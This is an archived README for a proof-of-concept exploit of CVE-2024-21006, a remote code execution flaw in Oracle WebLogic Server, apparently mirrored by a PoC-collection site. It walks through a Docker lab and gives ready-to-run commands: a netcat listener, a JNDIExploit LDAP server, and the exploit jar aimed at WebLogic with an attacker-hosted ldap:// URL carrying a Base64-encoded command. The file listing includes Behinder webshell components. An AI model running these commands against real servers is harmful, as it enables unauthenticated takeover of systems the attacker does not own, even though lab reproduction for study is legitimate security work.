Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21006 PoC — Oracle Fusion Middleware 的 Oracle WebLogic Server 安全漏洞

Source
Associated Vulnerability
Title:Oracle Fusion Middleware 的 Oracle WebLogic Server 安全漏洞 (CVE-2024-21006)
Description:Oracle Fusion Middleware(Oracle融合中间件)和Oracle WebLogic Server都是美国甲骨文(Oracle)公司的产品。Oracle Fusion Middleware是一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 Oracle Fusion Middl
Readme
# CVE-2024-21006 PoC

A CVE-2024-21006 é uma vulnerabilidade de Remote Code Execution (RCE) crítica que afeta o Oracle WebLogic Server. A falha está relacionada ao uso inseguro do protocolo IIOP (Internet Inter-ORB Protocol) e JNDI (Java Naming and Directory Interface), permitindo que um invasor remoto não autenticado execute código arbitrário no servidor afetado, por meio de uma referência maliciosa JNDI.

## Deploy do Laboratório

Monte o ambiente:
```
docker-compose up -d
```

Para acessar Shell do Kali:
```
docker exec -it cve-2024-21006_poc-kali-1 /bin/bash
```

Para acessar Shell do WebLogic:
```
docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash
```

Para acessar Shell do ExploitBox:
```
docker exec -it exploitbox /bin/bash
```

Nesta etapa, temos uma instância do WebLogic 12.2.1.3.0 executando localmente: 
http://127.0.0.1:7001/console/login/LoginForm.jsp

![](./image/08.png)

## Explorando Lab

### PoC simples:

No Kali:
```
nc -vnlp 1389
```

No ExploitBox:
```
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389
```

Veja que o Kali recebeu a conexão vinda do WebLogic:

![](./image/03.png)

### Obtendo RCE:

No Kali, inicie o JNDIExploit:
```
cd /exploit
```
```
java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>
```
![](./image/04.png)

No ExploitBox, execute o exploit:
```
java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"
```
![](./image/05.png)

No Kali, veja que recebemos o request:

![](./image/06.png)

No WebLogic, veja que o comando foi executado e o arquivo foi criado com sucesso:

![](./image/07.png)

## Referências:
- https://github.com/lightr3d/CVE-2024-21006_jar
- https://github.com/momika233/CVE-2024-21006
- https://blog.csdn.net/zwy15288408160/article/details/138189146
- https://blog.csdn.net/m0_46109609/article/details/114373594
File Snapshot

[4.0K] /data/pocs/06ed0ef8ff807239b3c9aefbc560f5d8db6973ed ├── [ 58M] CVE-2024-21006.jar ├── [ 690] docker-compose.yml ├── [ 62] Dockerfile ├── [4.0K] image │   ├── [ 41K] 01.png │   ├── [140K] 02.png │   ├── [6.0K] 03.png │   ├── [ 15K] 04.png │   ├── [ 29K] 05.png │   ├── [ 35K] 06.png │   ├── [ 10K] 07.png │   └── [ 53K] 08.png ├── [4.0K] JNDIExploit │   ├── [4.0K] data │   │   ├── [6.5K] behinder3.jar │   │   ├── [7.7K] BehinderFilter.class │   │   └── [ 525] Calc.class │   └── [ 31M] JNDIExploit-1.3-SNAPSHOT.jar ├── [4.0K] lib │   ├── [1.3M] com.oracle.weblogic.application.jar │   ├── [ 35M] weblogic.jar │   └── [ 52M] wlfullclient.jar ├── [2.2K] README.md └── [4.0K] src ├── [4.0K] META-INF │   └── [ 75] MANIFEST.MF └── [4.0K] org └── [4.0K] example └── [4.2K] messageDestinationReference.java 8 directories, 21 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.